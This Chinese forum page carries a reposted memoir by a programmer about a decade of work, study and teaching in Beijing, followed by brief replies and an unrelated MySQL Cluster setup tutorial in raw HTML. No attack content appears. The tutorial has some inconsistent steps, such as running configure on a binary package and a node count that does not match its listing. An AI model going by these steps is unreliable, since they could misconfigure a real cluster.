最近看过此主题的会员

返回列表 发帖

一个老程序员的心里话

风雨十年:一个老程序员的心里话!
曲折的实践之路
1.希特勒地堡与cih病毒
  99年4月,我来到北京参加研究生复试。复试完了之后就不回去了,我拿着一张光盘,里面刻着我用vb和authorware3.5编的一个cool 3d的教学软件,到处参加招聘会,开始了在北京的打工生涯。
  说句实话,我心中真是一点底也没有。北京人才济济,我一个三流大学的毕业生,又不是计算机专业的,有人要我吗?
  我在北京无依无靠,没有任何一个亲戚在北京,住成了大问题。北京这地方,钱太不经花,生活费用太高,我四处寻找便宜的地方住。后来,我在北京化工大学对面的招待所中租了个床位,每晚20元,地下室。这个招待所的地下室非常大,每天回去的时候,都要走过长长的曲曲折折的通道,加上那昏黄的灯泡,每次我都有走进了希特勒地堡的感觉。地下室里潮湿阴暗,不见天日。地下室里人员很杂,什么人都有,永远没有一种安全的感觉,所幸的是我也是个穷光蛋,光脚的还怕穿鞋的?别人能呆我也能呆,唯一让我担心的是钱,没钱,在北京连流落街头都不够格,立马被收容去昌平筛沙。呵呵,我没这种经历,这是当时住一块的一个外地要考北京中医药大学的博士生说的(我俩居然住到了一个屋里,大家都没钱,只能挤地下室,只是他老兄晚上打呼,我可真受了不少罪)。
  日子一天天过去,袋里的钱一天天少了,但工作还是没着落,心中越来越慌,除去学费,来京时父母给我2000元,大哥资助我的1000元就是我当时的全部资金(3000元在北京能呆多久?!)。我当时订了个计划,留下500元保底,打死都不能动,要靠它作路费回家的。我当时说,一定得找到一家公司,再少的钱都干,只要有口饭吃,有张床让我睡我就满足了。
  我一共应聘了四五家公司,最具传奇色彩的是到西单附近一家公司的应聘经历。那时,我带去了我的作品,公司项目经理要看,于是我给他们演示,很奇怪,程序一打开就死机,一连两台电脑都一样,末了,两台电脑都启动不起来了。用瑞星一查,cih病毒——那天正是4月26日!于是,cih破坏了电脑主板的同时,也无情地摧毁了我的就业机会。还算老板可怜我,没要我赔。其实我当时快到山穷水尽的地步了,真要我出钱,我可能连家都回不了啦。陈盈豪(cih病毒的作者),你小子这么的聪明做什么不行,偏要去做病毒,害人害已,弄得我连个饭碗也找不到,晚上回“希特勒地堡”,把这小子骂了无数次!
  总算天无绝人之路,在我数着最后还剩余600元钱的时候,终于有一家公司要我了,做中小学教育软件,月薪1600。干了两星期,又给我在公司的仓库挪开货物,搭了个床位,我就在那住下了,庆幸再也不用到“希特勒地堡”里当冲锋队员了。每天下班后,我就睡在林立的大纸箱之中,如果来个地震,呵呵,我就埋在纸箱中了,休想爬得出来!
  我干得非常努力,第一个月工资开出来,扣掉个人所得税,我拿了1500多元。你们不知道我拿到第一笔工资的感觉!这钱在很多人眼里简直不算钱,但对于一个没工作近两年,工作也一个月收入不到200的穷小子而言,就象陈佩斯小品中所演的:“我王老五活了一辈子,还从没见过这么多钱啊!”。好笑吗?我一点也不觉得好笑。我只是心酸,我到了28岁才可以用自己的知识与技能养活自己,再不用依靠父母和兄长的资助,才真正完全用自己的力量在社会上站起来,一个没有经济自立能力的人,只能是个不成熟的人,一个躺在父母身上的人,不是一个真正的男子汉!我当这样的孬种当了28年!
  我找到工作后向家里写过一封长信,信中讲了我对父母平时不好意思说的很多心里话,当时,我父亲说,母亲接到信都哭了。 我刚拿到工资,马上打了个电话回家里告诉母亲,以缓解他们的焦虑,毕竟儿行千里母担心啊!父母有退休金,一再表示不需要我赡养,而我再这样不要脸下去,我还是人吗?我就是从那时候开始,下定决心,从今往后,再不向家中要一分钱!今后三年读书和生活的费用我一定要用自己的劳动来获取。
  金钱带给我的激动就是在那段时间,温饱问题解决之后,金钱对我的诱惑就再没有了,哪怕让我一个月赚一万,给套房子给我,也不可能再给我带来幸福的感觉了,钱是重要的,但不能成为它的奴隶,家中不需要我负担,我一个人有吃有喝,干着我喜欢的工作,足矣!
  我在那公司一直干到九月学校开学为止。我走的那一天,公司居然还开了个欢送宴会,老板封了500元的封包给我。我真是感动。我大学毕业后在社会上挣扎求生,得到的大都是冷眼与蔑视,社会终于认可了我的价值,我不是一个只知道吃饭的废物!
  1999年9月9日上午9点,在这个最多9字的时刻,我到学校报道来了,放下行李,我坐在分配给我的床上,心中终于踏实下来。
  现在,我在北京终于有一张属于我的床了,一张真正属于我的床了,终于有个地方可以让我安稳地睡觉了。没有这段经历,我怎么体验到“安居乐业”这一个词的真实含义!个人如此,国家要做到,中国要做到,更难!
2.编程生涯
  读研两年半的时间,我四处打工,这两年半我至少在七八家公司做过,编了十几万行代码,为自己赚了一台电脑,两部手机(丢了一部),还有读研期间的所有费用,实现了我的目标:没向家里要一分钱。
  我水平不高,但在打工过程中,发现许多中国软件公司的水平更菜!
  2000年暑假,我参加一个商品软件的开发,搬到了北大燕北园的一个宿舍,在那儿搞封闭式开发。在这个项目采用vb6开发,主力程序员除我之处,还有一个华北电力大学的研究生。大家都没开发商品软件的经验,没经过正式的设计,就匆忙编码了。我曾经想采用分层的系统架构,但遭到另一位程序员的反对,争吵没有结果,老板也不能做决定,结果各行其是。现在看起来,那时真是太菜了,任何一本软件工程书都会指出这种做法是不对的。
  我们直接就热火朝天的干了起来,那位华北电力大学的老兄,真让我佩服,他可以在一个sub过程中写上2000行代码!我觉得奇怪,为何他能写这么多的代码?一看,顿时我晕倒,他居然将每个控件的left,top,width等属性都用代码来设定!想想这样的程序,调试时光单步执行就需要按多少次f8键!
  我们在电脑旁边搭了个行军床,每天都是干到早上6点才睡,12点吃中饭,然后又是一个通宵。当时整个工程只有一个类模块,被我用于封装访问数据库的ado数据引擎,这是整个工程中唯一一处用到了最简单的面向对象技术的地方,然后,我写了近十个bas公用模块,每个模块代码规模都有一两千行,还有十几个窗体,每个窗体中都塞满了事件驱动的vb代码,整个软件应该有10万行代码,我一个人在此期间至少就写了3万多行vb代码。程序的主处理流程我甚至用ado与dao写了两套!
  现在想起来,我们当时根本就不知道面向对象为何物,更不理解许多对软件开发至关重要的理论,就凭着一种热情。在这段痛苦的开发经历中,我不仅精熟了vb,而且从中学到了很多。现在再开发同样功能的东西。我至少可以砍掉2/3的代码。怎么学都不如从失败中学得多。
  后来我总结vb程序员的三个境界:
  (1)所有代码都只放在窗体文件中的,属于菜鸟级,他们只会从面板上拖控件,设置属性,然后再给事件编码
  (2)工程中有bas模块的,属于中间级,他们已意识到有大量的代码是重复出现的,应该将其抽取出来作为公用模块
  (3)工程中有cls模块的,属于高手,他们已掌握了面向对象的思想,并能应用这种思想来解决实际问题
  正是这次开发经历,促使我反思:到底如何开发软件?我个人可以用vb完成各种各样的功能,为什么凑在一起就会那么困难?更正一个bug为何那么难?为什么一个看似简单的软件,要拖半年的时间还看不到结束的日子?
  九月,研究生要开题,我自拟了个课题:软件体系结构设计。我决心弄明白,好软件到底是怎么做出来的。
  我放下了vb,开始研究c++,原来学过vc,但没学会,就直接从c++ builder入手。borland公司的vcl类库让我大为叹服,很快就迷上了它,为此连带学了delphi,并参与了一个delphi项目。给我真正震撼的是《设计模式》这本书,看了才知道,原来好软件是这么设计出来的!在此,我强烈推荐所有有一定编程经验的程序员一定要看这本书!
  一边学习理论,一边可没忘记我没经济来源,于是又四处打工,接一些小项目与小模块来赚些生活费,国内一家横跨家电与软件的著名公司是我打工期间去过的最大的公司。但无论什么公司,都给我一种感觉——烂!公司中充满了对员工的剥削与不尊重,对软件开发这一事物的错误认识,管理混乱。我没机会去外企,技术水平不到,别人不要我但我所见到的软件公司,我敢说没一家能做出世界一流的软件!
  我上的研究生课程也让我失望,整个就是本科教育的再版。经过高考与考研两次重大考试,我对考试已是深恶痛绝,但读研期间仍要考试,而且是闭卷!我就不知道我去背那些条文对我的研究与学习有何帮助?2000年7月当我考完最后一门,终于大松一口气,我终于摆脱了考试的压迫,可以在剩余的一年半中真正搜索我渴望已久的软件技术了。这年,我29岁。
  悲哀吗?一个中国的程序员要到29岁才可以真正自由地学习想学的东西!
  我开始研究面向对象理论,看了大量的书,每天都在实验室学习到深夜12点,天天上网,csdn成了我最常去的网站。
  随着我对软件技术的了解越多,就越深刻地感到国内与国外技术水平的差异是如此的巨大,巨大得甚至有让人绝望的感觉。同时,在北京这个中国软件人才最集中的地方,我也见到了许多牛人,一个清华的本科学生,做程序员可以拿到一个月12000元的工资,一个北大的计算机系研究生,一毕业就到外企,一个月一万多收入,每年发16个月工资!干了两年就开了自己的公司。我看到了一个北方交大的本科生作品,在半年的业余时间里,用delphi写了十几万行代码,他甚至在代码中嵌入汇编,自行编写数据存取引擎读写foxpro,速度超快!软件中有一个计算公式解析模块,他用编译原理理论居然做了一个小型的公式解析器,就象c++编译器检查c++程序一样,不仅可以判断是否公式正确,而且给出的出错信息还相当准确!其基本功之扎实,水平之高让我望尘莫及!中国优秀的人才真还是不少的!在精英集聚的北京,面对着博大精深的软件科学,我深感自身的渺小。
  但我毕竟是靠自己奋斗出来的,我并不自卑,这世界需要牛人,同样需要大批合格的劳动者,我成为不了牛人,但我作一名程序员是合格的。
  时间过得飞快,一年半根本就不算时间,马上就要毕业了,学习的成绩如何,要到社会上去竞争了,让社会考场来决定你是否及格。
3.毕业求职
98级的研究生是it业最后辉煌的回光反照。当时,各大公司都发了疯似的要人,象华为,当时是来者不拒。计算机专业的研究生是一抢而光,本科生也供不应求。2001年毕业的我的师兄师姐们,平均每个人手头都至少有两三个offer,谈的工资没有低于每月6000的,许多人去了外企,工资在8000~10000每月的也有。真是毕业生的黄金时间。
  但好景不常在,911事件我看来好象成了分水岭,911之后,整个it业急刹车,就业形势急转直下,各大公司都在消化去年吃得过饱的胃口,我形容是大家都吃坏了胃,再也不可能有我师兄师姐们的风光了。虽然时间相隔仅大半年。
  从10月开始,11月和12月,我几乎是在招聘会与公共汽车上渡过的,北京东南西北地去面试,上午在上地,下午可能就要跑到朝阳区,疲于奔命。
  在找工作过程中,我良好的心理素质与丰富的编程经验起到了很大的作用,并没有遇到很大的困难,就先后有几家公司表示要我。
  其中我想说的有两家公司。
  一家是台湾公司,应该说他们做得是不错的,但我非常反感他们那种自认为高于大陆人的那种优越感,而且待遇也不高。面试之后,回来感觉很不好。当时台湾是民进党上台主政,我就称之为“民进党”看不起“”(虽然我不是党员,但我们都是中国人,都希望中国能强大,让她的人民能挺直腰杆)。
  我想:我们大陆确实是不如台湾发达,难怪别人看不起我们,这世界势利得很,社会如此,国家亦然。但我中华960万平方公里的国土,13亿人口,难道要依靠一个小小的岛屿来撑门面?难道除了台湾公司,我就无处可去了?虽然改变不了什么,但我决定绝不去台资和日资的公司工作(日本人我更不喜欢,但我认为他们做事实在优秀,我们一定要向日本人学习)!在这种公司呆着,不爽!同时,我们的确也得争气些,这世界只尊重强者。
  另一家是个很不错的民族软件企业,想要我,其老总专门找我去面谈了一次,希望我能到他的公司工作。这位老总白手起家,能在五六年的时间内由几个人发展到300多人,当时,是中国这个领域软件市场占有率最高的公司,我非常佩服,他为人也很好,并表示可以给我每月比其他研究生多加1000元工资,而且希望锻炼一两年之后我能够带领一个团队来开发产品,并负担我毕业所需交纳的各种费用。在就业不景气的2002年,对我一个30岁的技术水平有限的老程序员如此看重,真叫我感动。虽然我最后还是没去,但我仍然对这个公司充满了好感。一个软件企业最重要的是什么?是对人的尊重,没有这点,可以断定,这个公司长不大。
  我为什么没去软件公司?放弃有可能在几年之后年薪突破10万的收入?是因为我已有了更想做的事,我想当老师!
  我自己是从自学的路上走过来的,其中的艰辛历历在目,无人指点,我走了多少弯路?中国还有多少是象我这样的年轻人无人指点的?我幸运能爬出来了,因为我至少还能有饭吃,比我条件更差的,比如农村的孩子,可能就被生活的压力所淹没了。我个人的力量很微弱,技术也有限,但我自认为至少是一名合格的程序员,如果能培养出一大批达到我的水平的学生,他们毕业后成为合格的程序员,中国软件的根基就会更扎实,如果更能有一批远远超过我水平的学生出来,中国软件就有希望了。软件是什么?软件以人为本!
  人生追求什么?金钱?我很缺钱,但不可能把金钱作为我的目标,我希望我能够成为一个对社会有所贡献的人,能够获得心灵的充实,于是,我选择了留校。
4.对教育的反思与教书生涯
2002年下半年,我参加了北京高校青年教师岗前培训。一位杜教授的两堂课让我印象深刻,其中两句话让我深深震动:
  第一句话:我是一个教书匠,教书匠好啊,好就好在“匠心独运”!
  第二句话:做什么工作都要达到变魔术的境界!
  是的,作为一名教师,就必须起到一个传声筒与放大器的作用,将人类最聪明的人探索世界所得到的知识予以拓宽发展,以便让更多的人能够掌握这些知识并进而应用于实践,从而推动人类的不断进步。
  作为一名计算机专业的教师,就要努力把先进的计算机技术以尽可能高的效率传授给广大的学生,引导他们直接面对真实的软件世界,而不是向他们硬灌各种各样的理论知识,强迫他们去死记硬背以应付考试。
  我是一个小人物,才低学浅,但我真的认为高校计算机教育存在严重的问题。我在打工期间的开发经历,以及阅读国外相关资料的时候,发现学校中教的和社会上用的差得太远!都已经是什么时代了,许多大学还设立foxpro课程,难道就不能直接用现代主流的数据库如oracle,sql server,哪怕是access也好,来讲授数据库知识?还有所谓的计算机等级考试,呵呵,过了三级学生的我见过不少,但他们真正对软件,对计算机又理解多少?
  在中国甚至于升职称也要考计算机,我看了一本职称计算机考试教材,里面几乎原样照搬计算机原理课程中的相关章节,弄得我给搞艺术的大嫂讲了一个小时的二进制与八进制、十六进制的转换方法,她还是弄不太清。我都泄气了,对啊,他们搞艺术的,有必要去分清二进制的10与十进制的2有何分别吗?他们八辈子也用不上。但是考试用得上,呵呵,又是中国特色。
  拿c++来说,我讲过c++课,许多的国内教材对c++语法下了大功夫,却对体现了c++精华的stl只字不提,对代码背后所体现的软件开发思想与方法更是视而不见,我用c++也编过不少程序了,说句实话,我用到的特性不到c++的三分之一!于是就出现了这种怪现象,许多学生考试可以拿八九十分,给他一个简单的实际问题他却不知如何下手!
  还有uml,现在好象很火的样子,我们读研时就开了这门课,讲句实话,当时这门课我就没听懂,可后来我尝试着用c++用面向对象的方法来编程序,然后,由代码倒推回uml类图,一下子就明白了,原来uml只不过是一种描述面向对象系统的符号罢了,如果学生没进行过真正的oop,那就是为了学uml而学uml,根本就本末倒置。
  于是,我开始了期刊发行系统的开发,这完全是自发的,没有任何资金投入,只有一种热情在支撑。我开始选择c++ builder开发,做了几个月,完成了第一个版本,但我发现,我找不到足够水平的c++程序员进行合作开发,而且整个一个exe文件,在体系结构设计上虽采用了分层分块的设计方案,但却是源代码级别的,要拆分成com组件难度太大,不是一个人能完成的,于是中途流产。
  2003年3月,我开始系统地学习.net,我吃惊地发现,我原来想在c++中实现的许多功能,比如对象串行化为xml,在.net中已有现成的类可用,.net更把oo的功用发挥到了极致,它的混合语言开发,它的反射机制,它的新的自识别的软件组件,以及强大好用的开发环境vs.net,都让我惊叹微软对开发者遇到的困难的深入把握,相比用c++开发,至少可以提高1/3的开发效率。于是一个新的想法产生了,我要把以前的产品用.net重写,利用.net强大的组件模型,将设计模式理论推广应用到组件级别,通过xml和反射机制建立一套可动态装配的软件生产流水线,实现象dell直销pc那样的软件动态装配直销。只要建立好灵活可不断重构的系统架构,配以对业务领域的深入分析,逐步建立功能强大的业务组件仓库,就可以实现软件系统的动态装配。说干就干,我用vb,net重写了原先用c++编写的系统,将原先的一个exe变为十几个dll,而且这些dll还会随着发展而不断地分裂,也有可能重新组合,利用refractoring(重构)不断进化,最终形成一整套完备的行业软件组件库。做软件关键因素是变化,只有适应变化的系统才是有生命力的。
  我用两个月的时间大体上弄清了.net平台下的主要类库,然后又用两个月的时间再次重新实现了期刊发行系统的c++版本的全部功能,到8月份我写这篇文章之时,第一个产品里程碑已经完成。同样的,除了需求是由另一个合作者去搜集的之外,几乎又是全部由我一个人包揽了所有的系统设计及编码工作!
  毫无疑问,我自觉得新系统要比老系统可维护性强得多,真正实现了彻底的全组件化系统开发,计划再有一个月的界面美化,改正bug,引用多线程提高运行效率,优化系统结构,就可以提供给用户试用了。市场如何,难说难测。
  在开发过程中,我再次感到巨大的挑战,不光是技术上的,更是管理上的。人才是我最头痛的问题,没有一流的人才,哪来一流的产品?我们找不到足够水平的程序员一起合作(牛人哪屑于做这样一个小儿科的产品?)我们要走的路还很长。也许我们开发的产品是失败的,但我从来就没指望能用这赚钱,我只是尽一个软件开发者的责任而己,成败已不重要!人生不尝试,怎能体现人活着的价值?
结束语 永无止境的软件之路
1.辛酸与苦辣
做软件开发很苦的,技术进步如此神速,每个软件开发者都得不断地学习以跟上发展的步伐。有时我常想,何苦呢?我现在在大学中混,怎么样不能混下去?为什么要做这些吃力不讨好的事?我投了十年的时间去学习电脑,却最终发现自己不过中人之资,离顶峰远之又远。古语云:三十而立。我今年32了,仍是孤身一人,看看周围的同学,他们的小孩都差不多上小学了!许多都有了自己的房子和车子,而我到现在才开始申报中级职称,还挤在集体宿舍中,望着北京高昂的房价而叹息。现在社会越来越功利了,看着象我这样的穷光蛋,看着由于长期面对电脑缺少锻炼而瘦弱的身躯,又有哪个女孩愿意嫁过来受苦?
  软件人的生活很苦,压力很大,我认为是拿青春赌明天。就是在这种恶劣的开发环境中,还有许多业外人士指手划脚说程序员如何如何,还有太多的公司只顾压榨程序员的劳动,缺乏对程序员基本的尊重,怎不叫人寒心?
  “三十而衰”,这句本不应该流行的话居然成了中国软件人员的流行语。中国程序员的悲哀!
2.无止境的追求
人类已进入信息时代,计算机技术几乎每隔半年就有一次大的变化,我现在又面临着这样的抉择:今后的路如何走?
  北大的教师聘任制度的改革一石激起千层浪,说明了中国高校的改革势在必行。我是欢迎这种变化的,虽然到时我可能会下岗。但人生中总会遇到各种各样的挑战,只要你不倒下爬不起来,就有希望。
  我想我必须再次让自己有个提升,要从小事做起,但做小事则绝不能成为最终的目标,也许,不远的将来,我会走出国门,到世界软件技术最发达的地区去汲取丰富的养份。今后的路怎么走,我还在摸索之中。
3.人生无悔
人生年华如水,时光无情。在过去的岁月中,我尽了自己的力,回顾往事,我可以说:过去的事只有遗憾,却没有后悔。如果给我再一次选择职业的机会,我还会再次选择软件!
  再过10年,到2013年的时候,我也许会再次写一篇人生的十年回顾,到那时中国的软件会如何?中国软件的明天靠你我这些普通人去扎扎实实地去工作来支撑!少发些牢骚,多做些实事,中国软件才会有光辉的明天。你我共勉!
--------------------------------------一个老程序员的心里话

 

您可能还想看的主题:

PHP新手上路(四)

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:悟空ing发表,本帖发表者悟空ing符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者悟空ing和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。
平庸,使人走漫长的路。

作为一个计算机专业的学生,我看着都直冒冷汗啊。
句句真理,如果不是在这个行业摸爬滚打,真的很难有那样的体会。
都说计算机专业的找工作不容易,可另外的现状是许多好的it公司招不到人才。
看似难以理解,其实很简单,有多少人真正入行了?
高校的计算机专业都醒醒吧。。
高校的学子们也要醒醒啊。
又是沉重的话题。

TOP

心里一片瓦凉

TOP

表示一切在自学。
平庸,使人走漫长的路。

TOP

表示一切在自学。
悟空ing 发表于 2010-10-16 14:47

大师兄就是先锋模范嘛。。
自学的东西才是自己的东西。。

TOP

高校?
  别提了,什么J8的学校,没那水平开那个专业,还开,真是误人子弟呀
   杯具

  让我郁闷死了

TOP

高校?
  别提了,什么J8的学校,没那水平开那个专业,还开,真是误人子弟呀
   杯具

  让我郁闷死了
無情 发表于 2010-10-21 00:48


  :funk:  学校是什么东西?
平庸,使人走漫长的路。

TOP

我都不好意思说了
  就是信息安全技术

  让我都丢脸:'(

TOP

哈哈 和谐啊

TOP

9# webmaster

   :$

TOP

mysql cluster初体验

<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>1、准备服务器<BR>现在,我们计划建立有5个节点的MySQL CLuster体系,因此需要用到5台机器,分别做如下用途:[/quote]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 节点(用途)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IP地址(主机名)<BR>管理节点(MGM)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192.168.0.1(db1)<BR>SQL节点1(SQL1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192.168.0.2(db2)<BR>SQL节点2(SQL2)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192.168.0.3(db3)<BR>数据节点1(NDBD1)&nbsp; &nbsp; &nbsp; &nbsp; 192.168.0.4(db4)<BR>数据节点2(NDBD2)&nbsp; &nbsp; &nbsp; &nbsp; 192.168.0.5(db5)<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>2、注意事项及其他<BR>每个节点的操作系统都是Linux,下面的描述中将使用主机名,不再使用IP地址来表示。由于MySQL Cluster采用TCP/IP方式连接,并且节点之间的数据传输没有加密,因此这个体系最好只在单独的子网中运行,并且考虑到传输的速率,强烈建议不要 跨越公网使用这个体系。所需的MySQL软件请事先在 http://dev.mysql.com/downloads 下载。<BR>实际上整个体系可以在一个单独的实体计算机上运行成功,当然了,必须设定不同的目录以及端口等,只能作为测试时使用。<BR>开始安装阶段:<BR>1、假定条件<BR>在每个节点计算机上都采用 nobody 用户来运行Cluster,因此执行如下命令添加相关用户(如果已经存在则略过,且用root用户执行):[/quote]&nbsp; &nbsp; &nbsp; &nbsp; root# /usr/sbin/groupadd nobody<BR>root# /usr/sbin/useradd nobody -g nobody<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>假设已经下载了mysql可直接使用的二进制安装包,且放在 /tmp 下了。<BR>2、SQL节点和存储节点(NDB节点)安装(即4个机器重复执行以下步骤)[/quote]&nbsp; &nbsp; &nbsp; &nbsp; root# cd /tmp/<BR>root# tar zxf mysql-max-5.0.24-linux-i686.tar.gz<BR>root# mv mysql-max-5.0.24-linux-i686 /usr/local/mysql/<BR>root# cd /usr/local/mysql/<BR>root# ./configure --prefix=/usr/local/mysql<BR>root# ./script_s/mysql_install_db<BR>root# chown -R nobody:nobody /usr/local/mysql/<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>3、配置SQL节点[/quote]&nbsp; &nbsp; &nbsp; &nbsp; root# vi /usr/local/mysql/my.cnf<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>然后输入如下内容:[/quote][mysqld]<BR>basedir&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;= /usr/local/mysql/<BR>datadir&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;= /usr/local/mysql/data<BR>user&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;= nobody<BR>port&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;= 3306<BR>socket&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; = /tmp/mysql.sock<BR>ndbcluster<BR>ndb-connectstring=db1<BR>[MYSQL_CLUSTER]<BR>ndb-connectstring=db1<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>4、配置存储节点(NDB节点)[/quote]&nbsp; &nbsp; &nbsp; &nbsp; root# vi /usr/local/mysql/my.cnf<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>然后输入如下内容:[/quote][mysqld]<BR>ndbcluster<BR>ndb-connectstring=db1<BR>[MYSQL_CLUSTER]<BR>ndb-connectstring=db1<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>5、安装管理节点[/quote]&nbsp; &nbsp; &nbsp; &nbsp; root# cd /tmp/<BR>root# tar zxf mysql-max-5.0.24-linux-i686.tar.gz<BR>root# mkdir /usr/local/mysql/<BR>root# mkdir /usr/local/mysql/data/<BR>root# cd mysql-max-5.0.24-linux-i686/bin/<BR>root# cp ndb_mgm* /usr/local/mysql/<BR>root# chown -R nobody:nobody /usr/local/mysql<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>6、配置管理节点[/quote]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# vi /usr/local/mysql/config.ini<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>然后输入如下内容:[/quote][NDBD DEFAULT]<BR>NoOfReplicas=1<BR>[TCP DEFAULT]<BR>portnumber=3306<BR>#设置管理节点服务器<BR>[NDB_MGMD]<BR>hostname=db1<BR>#MGM上保存日志的目录<BR>datadir=/usr/local/mysql/data/<BR>#设置存储节点服务器(NDB节点)<BR>[NDBD]<BR>hostname=db4<BR>datadir=/usr/local/mysql/data/<BR>#第二个NDB节点<BR>[NDBD]<BR>hostname=db5<BR>datadir=/usr/local/mysql/data/<BR>#设置SQL节点服务器<BR>[MYSQLD]<BR>hostname=db2<BR>#第二个SQL节点<BR>[MYSQLD]<BR>hostname=db3<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>注释: Cluster管理节点的默认端口是1186,数据节点的默认端口2202。从MySQL 5.0.3开始,该**已被放宽, Cluster能够根据空闲的端口自动地为数据节点分配端口。如果你的版本低于5.0.22,请注意这个细节。<BR>五、启动MySQL Cluster<BR>较为合理的启动顺序是,首先启动管理节点服务器,然后启动存储节点服务器,最后才启动SQL节点服务器:[/quote]

在管理节点服务器上,执行以下命令启动MGM节点进程:<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# /usr/local/mysql/ndb_mgmd -f /usr/local/mysql/config.ini<BR>&nbsp; &nbsp; &nbsp; &nbsp;
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>必须用参数“-f”或“--config-file”告诉 ndb_mgm 配置文件所在位置,默认是在ndb_mgmd相同目录下。[/quote]
在每台存储节点服务器上,如果是第一次启动ndbd进程的话,必须先执行以下命令:<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# /usr/local/mysql/bin/ndbd --initial<BR>&nbsp; &nbsp; &nbsp; &nbsp;
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>注意,仅应在首次启动ndbd时,或在备份/恢复数据或配置文件发生变化后重启ndbd时使用“--initial”参数。因为该参数会使节点删除由早期ndbd实例创建的、用于恢复的任何文件,包括用于恢复的日志文件。<BR>如果不是第一次启动,直接运行如下命令即可:[/quote]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# /usr/local/mysql/bin/ndbd<BR>&nbsp; &nbsp; &nbsp; &nbsp;
最后,运行以下命令启动SQL节点服务器:<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# /usr/local/mysql/bin/mysqld_safe --defaults-file=/usr/local/mysql/my.cnf &amp;<BR>&nbsp; &nbsp; &nbsp; &nbsp;
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>如果一切顺利,也就是启动过程中没有任何错误信息出现,那么就在管理节点服务器上运行如下命令:[/quote]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root# /usr/local/mysql/ndb_mgm<BR>&nbsp; &nbsp; &nbsp; &nbsp; -- NDB Cluster -- Management Client --<BR>&nbsp; &nbsp; &nbsp; &nbsp; ndb_mgm&gt; SHOW<BR>&nbsp; &nbsp; &nbsp; &nbsp; Connected to Management Server at: localhost:1186<BR>&nbsp; &nbsp; &nbsp; &nbsp; Cluster Configuration<BR>&nbsp; &nbsp; &nbsp; &nbsp; ---------------------<BR>&nbsp; &nbsp; &nbsp; &nbsp; [ndbd(NDB)]&nbsp; &nbsp;&nbsp;&nbsp;2 node(s)<BR>&nbsp; &nbsp; &nbsp; &nbsp; id=2&nbsp; &nbsp; @192.168.0.4&nbsp;&nbsp;(Version: 5.0.22 Nodegroup: 0 Master)<BR>&nbsp; &nbsp; &nbsp; &nbsp; id=3&nbsp; &nbsp; @192.168.0.5&nbsp;&nbsp;(Version: 5.0.22 Nodegroup: 0)<BR>&nbsp; &nbsp; &nbsp; &nbsp; [ndb_mgmd(MGM)] 1 node(s)<BR>&nbsp; &nbsp; &nbsp; &nbsp; id=1&nbsp; &nbsp; @192.168.0.1&nbsp;&nbsp;(Version: 5.0.22)<BR>&nbsp; &nbsp; &nbsp; &nbsp; [mysqld(SQL)]&nbsp; &nbsp;1 node(s)<BR>&nbsp; &nbsp; &nbsp; &nbsp; id=2&nbsp; &nbsp;(Version: 5.0.22)<BR>&nbsp; &nbsp; &nbsp; &nbsp; id=3&nbsp; &nbsp;(Version: 5.0.22)<BR>&nbsp; &nbsp; &nbsp; &nbsp;
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>具体的输出内容可能会略有不同,这取决于你所使用的MySQL版本。<BR>注意:如果你正在使用较早的MySQL版本,你或许会看到引用为‘[mysqld(API)]’的SQL节点。这是一种早期的用法,现已放弃。<BR>现在,应能在MySQL Cluster中处理数据库,表和数据。<BR>六、创建数据库表<BR>与没有使用 Cluster的MySQL相比,在MySQL Cluster内操作数据的方式没有太大的区别。执行这类操作时应记住两点:[/quote]
